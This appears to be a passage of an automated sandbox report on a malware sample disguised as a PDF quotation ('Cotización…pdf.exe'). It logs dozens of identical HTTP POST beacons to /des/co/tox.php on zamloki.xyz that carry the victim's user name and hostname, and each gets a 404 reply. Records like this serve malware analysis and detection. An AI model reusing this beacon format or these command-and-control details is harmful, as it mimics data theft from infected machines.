Aug 4, 2021 13:56:55.251126051 CEST	6106	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:55.495081902 CEST	6107	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:55 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=WynFTFwdBTE2KJhZOcUwvkHZ6yDCxxz5heZBU4VJ5%2BJEnGn0jvh6nx3Znq9M0EKwJoxaVUvc%2BpN718L96pjtQzx05rgaPuQnmmYvfVV5LZ3K2qju8GXbfQ12vbdIsA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979aed491f97ba-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.5	49826	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:55.721610069 CEST	6115	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:55.740223885 CEST	6115	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:55.986669064 CEST	6117	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:55 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xCAF1JKumNam2jhjPalOEruLgxsrnt7XJ61BU8LYP95gq%2BYErL%2B56hYzfX4OsU46z%2FwiA7ragPFcMtnMJ9tRtmClN17HD2BItDtRwBsX6YbEB%2FuFlI5JU3aeiz74OQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979af05be7432d-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.5	49723	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:55:56.929677963 CEST	1422	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:55:56.947094917 CEST	1422	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:55:57.186352015 CEST	1423	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:55:57 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=S0w%2FTrH5P3vMFX1Is%2FzCbk25AE1JuXbQeOt97Lzhc%2FsTyhB%2FzXB2UvB%2FX7lQTsPA6aVxXjEWQjQVhHHksBEFf7L%2FwOd9AnFRJKPaDEyyooOztCZwcOpOb2RXVuaWpg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979980dbea0746-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.5	49827	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:56.211426973 CEST	6118	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:56.232604027 CEST	6118	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:56.493618011 CEST	6119	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:56 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ys3Ua8qlKpjCnOMS8ZY7rLeFH%2BM9zzvzXExhZHxzdW1seRRA92aOAAez5mBy4hd1Cd9htbrSqyRPaYHkyjmM053yQXNqzcKz%2BvzIwP603YljoRHRSPRiQyR3P7ogRw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979af36c0a4e7f-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.5	49828	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:56.727003098 CEST	6119	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:56.746541977 CEST	6120	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:57.018296003 CEST	6120	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:57 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=t7vvOIgnk9tDRIumRikY1EX1Sq%2BRvs8K4E94WLMEcSQG%2FTDGEghua%2Ff8KDUt7d49j4jp%2FfSzemS5tfO57v2CP3dsoykUIwpqqx8IUHo1uhz3o3QfNoi3CEeOx0V8zw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979af69aa01766-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.5	49829	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:57.229521036 CEST	6124	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:57.247895002 CEST	6124	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:57.493786097 CEST	6132	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:57 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=dccT43msVkJ5SLMv9lxL%2Bo6PEeV5Gvc2V7qubN6tvkW7yqZ7K5%2Be9ozl9%2BfzpHepJ%2FKdh4QVFeWu6026fg86UsVK0kT6pRvM9A2IdhWh6xeHtNtH%2FEYIRLJwbY%2BcGg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979af9baed4eaf-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.5	49831	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:57.719835997 CEST	6133	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:57.738624096 CEST	6133	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:57.985444069 CEST	6134	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:57 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=MH4wkvOlyuqUKeJ%2FzUhOS6Lwv874oF0ieuIdh2oo0Ypk1S1i0sv5H85IZFSBwRQbJFQbexf0xY49z5eRmjhc%2FJV8YoXhGJEopf%2FIz9acnz%2BYD4dxXSuLe1prS4O2EA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979afcc8381762-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.5	49832	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:58.231894970 CEST	6135	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:58.250258923 CEST	6135	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:58.517472982 CEST	6136	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:58 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=nFh%2F9DdXwwEaXABcs%2FCioHwI5NRVcPv4aajsZ5iby%2Ff60vi6upppGHp%2F3x8bszAQWE%2FSXX5dN92CKE7TUG1T4O3QrN%2BTT8a4oBdz4ulUxD8JfhcOiO9kocYfWzqqqA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b000c892bc2-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.5	49833	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:58.756558895 CEST	6137	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:58.776004076 CEST	6137	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:59.035722017 CEST	6138	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:59 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PBpuq1j3eDdIEBjJV77A3dKU%2B0pykjB7gW5rgafGKadA1ZRDQFltXRTM%2FsZUFiI97cUe1aQmpQ5RAAbBIyv0mU%2BuFgngLj50C5pACv8xUdIxHYBpCTi8YfdhCAl9%2BQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b034a734e74-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.5	49834	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:59.264476061 CEST	6139	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:59.281768084 CEST	6139	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:59.574778080 CEST	6140	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:59 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4BM8x1%2B0JXKoaUIOhIl9alq4CeYrv9LRYv72AzTNRGHwG8%2BitGV97ev8VPe4Lz0Reyc1MH1X1C%2BgE%2BxghWQW2KTHWqOdRK1Ei%2FfbZMdLuKeJA8Y4jZ%2FtGd6jVEoFVA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b067a604a55-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.5	49835	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:59.807084084 CEST	6140	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:59.824090004 CEST	6141	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:00.062306881 CEST	6141	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:00 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=8Gk54RaTV77LSzQCPi3AaGJi6O4XDVFcu3PfWk6rMBxTUhIQdXUXvmWL5d9%2BuBzHNjm53mjVjrbpweNyoGAalXerHIw%2FgH8X27JqHH0uyIgbm4ZqXN75j%2BZvXcPgFw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b09db5f3237-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.5	49836	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:00.301592112 CEST	6142	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:00.318763971 CEST	6143	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:00.573329926 CEST	6143	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:00 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=D0vcQ8USHYE5EnQUHFPgaBOxcFb%2BzP%2Fxj7BgdX70ysdX%2FTjedcczNH2lOuowU%2BkDHPKkEhNVaifAr1%2FWb3txLoz3FVj44n6jtoN5GvwyfsyEcBNXvxNh4Any8XgETg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b0cead70742-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.5	49837	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:00.804603100 CEST	6144	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:00.821968079 CEST	6144	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:01.068211079 CEST	6145	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:01 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2BVJ7KZkdi9TT16CZ2rzVc1Ox4fSP7sc37pxFrBJSefk5m9Gi%2BF7tCsXNIlNhLVvwZkMGiVql1DZtzxDmJSF83kF89AmqcrGPDfTFA7FCnNy%2F0VPMJU%2FcM4PR3pNIsQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b101e9b4d84-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.5	49724	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:55:57.483325005 CEST	1424	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:55:57.501907110 CEST	1424	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:55:57.748261929 CEST	1425	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:55:57 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=8NILsN%2BTE100uCriNa2bN4nmycNA5BJzIcQtYAr6YenUl8zETuFjWnJhAsrAj9lFNunFBq9AV2OA7dBXBtIkJZtGf6JmpGNsqHdgCkuqbTDV9jEL%2BiIEzDK0ypvNGg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799845e20176e-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.5	49838	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:01.307703018 CEST	6146	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:01.325764894 CEST	6146	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
